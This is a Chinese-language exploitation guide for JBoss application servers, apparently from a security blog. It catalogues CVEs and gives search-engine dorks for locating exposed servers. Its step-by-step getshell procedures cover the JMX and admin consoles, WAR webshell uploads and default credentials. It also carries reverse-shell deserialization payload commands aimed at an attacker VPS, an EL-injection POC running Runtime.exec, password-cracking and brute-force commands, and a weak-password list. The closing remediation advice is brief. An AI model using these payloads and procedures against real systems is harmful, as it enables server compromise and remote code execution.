Jboss漏洞利用
字数 2341 2025-08-15 21:31:11
JBoss漏洞利用全面指南
1. JBoss简介与漏洞概述
JBoss是一个基于J2EE的开放源代码的应用服务器。其高危漏洞主要分为两类:
-
未授权访问导致文件上传的漏洞:
- CVE-2007-1036
- CVE-2010-0738
- CVE-2006-5750
- JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability
-
Java反序列化远程代码执行漏洞:
- CVE-2015-7501
- CVE-2017-7504
- CVE-2017-12149
- CVE-2013-4810
2. 环境部署
以JBoss 7.1.1为例:
- 准备JDK环境和系统环境变量
- 执行
add-user.bat脚本添加管理控制台用户 - 编辑
standalone.xml文件开放管理控制台入口(默认8080端口) - 运行
standalone.bat启动JBoss - 访问
http://[IP]:8080/验证部署
3. 服务探测与发现
3.1 搜索引擎语法
FOFA dork:
app="JBoss"/web-console/Invoker/invoker/JMXInvokerServlet/jmx-console/web-console
inurl:/console/
intitle:"JBoss Management"
inurl:/jmx-console/
inurl:/admin-console/
intitle:"Welcome to JBoss"
intitle:"jboss management console"
"application server" version
inurl:"web-console"
intitle:"JBoss Management Console – Server Information"
"application server"
inurl:"web-console" OR inurl:"jmx-console"
3.2 端口扫描
常见开放端口:8080, 9990, 9999
扫描命令:
nmap -sT -sV -Pn --open -p 1-65535 -v -n [目标IP]
4. 访问控制不严导致的漏洞
4.1 JMX Console未授权访问Getshell
影响版本:JBoss 4.x以下
利用步骤:
- 访问
http://[IP]:8080/jmx-console/ - 找到
jboss.deployment中的flavor=URL,type=DeploymentScanner - 使用
void addURL()远程加载war包部署 - 点击"Apply change"
- 访问木马地址
http://[IP]:8080/[war包名]/index.jsp
4.2 JMX Console HtmlAdaptor Getshell (CVE-2007-1036)
影响版本:JBoss 4.x以下
利用方法:
访问http://[IP]:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository,利用store方法上传shell
4.3 JMX控制台安全验证绕过漏洞 (CVE-2010-0738)
影响版本:JBoss 4.2.0, 4.3.0
利用方法:使用HEAD方法发送payload绕过GET/POST限制
4.4 Administration Console弱口令Getshell
影响版本:全版本
利用步骤:
- 使用默认密码admin/admin登录
/admin-console - 点击"Web application"→"Add"上传war包
4.5 jexboss自动化利用工具
适用于JBoss < 5.x版本:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://[IP]:8080
5. 反序列化RCE漏洞
5.1 JBoss AS 5.x/6.x反序列化漏洞 (CVE-2017-12149)
影响版本:JBoss AS 5.x, 6.x
利用步骤:
- 验证漏洞:访问
http://[IP]:8080/invoker/readonly返回500错误 - 使用JavaDeserH2HC生成payload:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap [VPS_IP]:[PORT]
- 发送payload:
curl http://[IP]:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
5.2 JBossMQ JMS集群反序列化漏洞 (CVE-2017-7504)
影响版本:JBoss AS 4.x及之前版本
利用步骤:
- 验证漏洞:访问
http://[IP]:8080/jbossmq-httpil/HTTPServerILServlet/ - 使用JavaDeserH2HC生成payload并发送
5.3 JBoss JMXInvokerServlet反序列化漏洞 (CVE-2015-7501)
影响版本:主要影响JBoss 6.x
利用步骤:
- 验证漏洞:访问
http://[IP]/invoker/JMXInvokerServlet能下载文件 - 生成并发送payload(同5.1)
5.4 JBoss EJBInvokerServlet反序列化漏洞 (CVE-2013-4810)
影响版本:主要影响JBoss 6.x
利用方法:与CVE-2015-7501相同,路径为/invoker/EJBInvokerServlet
6. JBoss Seam2模板注入 (CVE-2010-1871)
影响版本:Redhat Jboss_enterprise_application_platform:4.3.0
POC:
/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}
7. 其他漏洞与利用
7.1 密码破解
低版本:明文保存在conf/props/jmx-console-users.properties
高版本/WildFly:加密保存在configuration/mgmt-users.properties,使用John破解:
john --wordlist=password.list --format=dynamic_1591 [hash文件]
7.2 弱口令爆破
常见弱口令:
- admin:admin
- admin:jboss
- admin:password1!
- jboss:admin
- admin:ezoffice
WildFly专用工具wildPwn:
python wildPwn.py -m brute --target [IP] --port 8080 -user userList.txt -pass passList.txt
7.3 WildFly部署webshell
- 登录控制台后找到"Deployments"
- 上传war包并启用
- 访问
http://[IP]:8080/[包名]/[文件].jsp
8. 漏洞修复建议
- 设置强密码策略
- 限制公网访问
- 对所有输入进行验证
- 限制来源IP
- 升级到最新版本